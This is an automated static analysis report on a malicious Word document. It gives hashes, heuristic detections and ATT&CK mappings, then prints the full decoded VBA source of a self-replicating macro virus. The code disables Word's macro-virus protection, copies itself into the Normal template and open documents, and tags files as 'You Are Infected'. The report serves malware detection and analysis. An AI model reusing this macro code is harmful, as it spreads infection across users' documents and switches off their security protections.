Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 feffc4d5291035de…

MALICIOUS

Office (OLE)

87.5 KB Created: 2009-11-17 01:25:00 Authoring application: Microsoft Word 11.5.5 First seen: 2015-06-30
MD5: eb7a1e99b0a4d45d5a51bb1e1cf4ca08 SHA-1: a42447fa8d8820b929e4549208c9c590d8f2ae52 SHA-256: feffc4d5291035de1c94132b7395abfc5ace2aba74c12d9c65534f9b9cc91b22
210 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. The 'Document_Open' macro is present, and critical heuristics indicate self-replication and potential AV tampering. The VBA code attempts to disable virus protection and replicate its code into the Normal template, suggesting a downloader or worm-like behavior. The embedded URLs are likely part of the malicious payload delivery chain.

Heuristics 5

  • ClamAV: Doc.Trojan.Marker-40 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Marker-40
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
            x11 = x5.CodeModule.Lines(1, x5.CodeModule.CountOfLines)
        x6.CodeModule.DeleteLines 1, x6.CodeModule.CountOfLines
        x6.CodeModule.AddFromString x11
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
Set x5 = ActiveDocument.VBProject.VBComponents.Item(1)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.spaceweathercenter.org/amazing_plasmas/01/mattersorter.html In document text (OLE body)
    • http://erinschumacher.com/games.htmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4245 bytes
SHA-256: 8fd64a9fd248372ccfd0ec25ae80012332a41b46ec60b12a1b42f1e8fb27117c
Detection
ClamAV: Doc.Trojan.Marker-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Dim x1, x2, x3, x4 As Boolean
Dim x5, x6 As Object
Dim x7, x8, x16 As Integer
Dim x9 As Date
Dim x10, x11, x12, x13, x14 As String
Const x15 = ":-D you are marked!"
Private Sub Document_Close()
On Error Resume Next
Set x5 = ActiveDocument.VBProject.VBComponents.Item(1)
Set x6 = NormalTemplate.VBProject.VBComponents.Item(1)
x3 = x5.CodeModule.Find(x15, 1, 1, 10000, 10000)
x4 = x6.CodeModule.Find(x15, 1, 1, 10000, 10000)
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
x9 = Now()
x7 = Day(x9)
x8 = Month(x9)
If x7 >= 23 And x8 = 7 Then
    Application.Caption = "Happy Birthday Shankar-25th July.The World may Forget but not me"
    x10 = MsgBox("Did You Wish Shankar on his Birthday ?", vbYesNo)
    If x10 = vbYes Then
        MsgBox "Thank You! I Love You. You are wonderfull."
    Else
        MsgBox " You are Heart Less." & vbCrLf & "You Will Be Punished For This", vbCritical
    End If
End If
If x3 = True Then
    x13 = x5.CodeModule.Lines(1, x5.CodeModule.CountOfLines)
ElseIf x4 = True Then
    x13 = x6.CodeModule.Lines(1, x6.CodeModule.CountOfLines)
End If

If (x3 = True Xor x4 = True) And _
   (ActiveDocument.SaveFormat = wdFormatDocument Or _
   ActiveDocument.SaveFormat = wdFormatTemplate) Then

      If x3 = True Then
        x2 = NormalTemplate.Saved
        x11 = x5.CodeModule.Lines(1, x5.CodeModule.CountOfLines)
        x6.CodeModule.DeleteLines 1, x6.CodeModule.CountOfLines
        x6.CodeModule.AddFromString x11
        With Dialogs(wdDialogFileSummaryInfo): .Title = "Are You suprised ?": .Subject = "Birthday ": .Author = "LSK": .Category = "You Are Infected": .Keywords = "Birthday": .Comments = "Shankar's Birthday falls on 25th July.  Don't Forget to wish him": .Execute: End With
        If x2 = True Then NormalTemplate.Save
      End If
    If x4 = True Or ActiveDocument.Saved = False Then
     x1 = ActiveDocument.Saved
     x11 = x6.CodeModule.Lines(1, x6.CodeModule.CountOfLines)
     x5.CodeModule.DeleteLines 1, x5.CodeModule.CountOfLines
     x5.CodeModule.AddFromString x11
     With Dialogs(wdDialogFileSummaryInfo): .Title = "Are You suprised ?": .Subject = "Birthday ": .Author = "LSK": .Category = "You Are Infected": .Keywords = "Birthday": .Comments = "Shankar's Birthday falls on 25th July.  Don't Forget to wish him": .Execute: End With
     If x1 = True Then ActiveDocument.Save
   End If
  
    
End If

End Sub

Private Sub Document_New()
Set x5 = ActiveDocument.VBProject.VBComponents.Item(1)
Set x6 = NormalTemplate.VBProject.VBComponents.Item(1)
x3 = x5.CodeModule.Find(x15, 1, 1, 10000, 10000)
x4 = x6.CodeModule.Find(x15, 1, 1, 10000, 10000)
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
If x4 = False Then
    x6.CodeModule.DeleteLines 1, x6.CodeModule.CountOfLines
End If
If x3 = False Then
        x5.CodeModule.DeleteLines 1, x5.CodeModule.CountOfLines
End If

x9 = Now()
x7 = Day(x9)
x8 = Month(x9)
If x7 >= 23 And x8 = 7 Then
With Selection.Font: x16 = .Size: .Size = 72: .ColorIndex = wdGreen: .Animation = wdAnimationSparkleText: Selection.InsertAfter "Happy BirthDay Shankar": Selection.MoveDown Unit:=wdScreen, Count:=2: .Size = x16: .ColorIndex = wdAuto: .Animation = wdAnimationNone: End With
End If
End Sub

Private Sub Document_Open()
Set x5 = ActiveDocument.VBProject.VBComponents.Item(1)
Set x6 = NormalTemplate.VBProject.VBComponents.Item(1)
x3 = x5.CodeModule.Find(x15, 1, 1, 10000, 10000)
x4 = x6.CodeModule.Find(x15, 1, 1, 10000, 10000)
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
If x4 = False Then
    x6.CodeModule.DeleteLines 1, x6.CodeModule.CountOfLines
End If
If x3 = False Then
        x5.CodeModule.DeleteLines 1, x5.CodeModule.CountOfLines
End If

x9 = Now()
x7 = Day(x9)
x8 = Month(x9)
If x7 >= 23 And x8 = 7 Then
    x10 = MsgBox("Did You Wish Shankar on his Birthday ?", vbYesNo)
End If
End Sub

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